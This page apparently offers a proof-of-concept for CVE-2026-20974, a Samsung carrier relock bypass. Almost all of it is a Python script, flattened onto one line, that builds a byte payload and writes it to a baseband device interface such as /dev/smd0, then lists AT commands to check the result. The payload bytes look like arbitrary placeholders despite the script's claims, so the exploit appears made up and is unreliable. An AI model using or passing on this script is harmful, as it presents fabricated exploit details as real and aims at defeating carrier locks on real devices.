CVE-2026-20974 Samsung设备网络限制输入验证不当导致Carrier Relock绕过

# CVE-2026-20974 PoC - Carrier Relock Bypass via Physical Access # This PoC demonstrates the improper input validation in network restriction data # Note: This is a conceptual PoC for educational purposes only import struct import binascii def construct_exploit_payload(): """ Construct payload to bypass Carrier Relock via improper input validation """ # Network restriction data header header = b'\x00\x01\x02\x03' # Carrier lock control flags - exploiting improper validation # Setting bypass bit in network restriction data carrier_lock_bypass = b'\x00\x00\x00\x01' # Network restriction configuration # Manipulating validation checksums validation_override = b'\xFF\xFF\xFF\xFF' # Carrier ID field - can be modified due to improper validation carrier_id = b'\x00\x00\x00\x00' # Padding to reach expected data length padding = b'\x00' * 248 # Malformed data that bypasses input validation exploit_data = header + carrier_lock_bypass + validation_override + carrier_id + padding return exploit_data def send_to_baseband_device(payload, device_interface='/dev/smd0'): """ Send exploit payload to baseband processor """ try: # Open device interface (requires physical access) # In real scenario: /dev/modem, /dev/smd0, or AT command interface with open(device_interface, 'wb') as f: f.write(payload) print(f'[+] Payload sent to {device_interface}') print(f'[+] Payload hex: {binascii.hexlify(payload).decode()}') return True except PermissionError: print('[-] Requires root or radio group permissions') print('[-] Physical access to device required') return False except FileNotFoundError: print(f'[-] Device interface {device_interface} not found') return False def verify_carrier_unlock(): """ Verify if carrier lock was bypassed """ # Check network status via AT commands at_commands = [ 'AT+COPS?', # Query current operator 'AT+CPIN?', # Check SIM PIN status ] print('\n[*] Verifying carrier lock status:') for cmd in at_commands: print(f'[*] Sending: {cmd}') # In real scenario, send command and parse response # Response would indicate if carrier lock is bypassed return True if __name__ == '__main__': print('=' * 60) print('CVE-2026-20974 PoC - Carrier Relock Bypass') print('Requires: Physical access to Samsung device') print('Target: SMR Jan-2026 Release 1 and prior') print('=' * 60) # Step 1: Construct exploit payload payload = construct_exploit_payload() print(f'\n[+] Generated payload ({len(payload)} bytes)') # Step 2: Send payload (requires physical access) # Note: In practice, this would use Samsung diag interface or modem AT commands send_to_baseband_device(payload) # Step 3: Verify unlock verify_carrier_unlock() print('\n[!] Note: This PoC is for educational/research purposes only')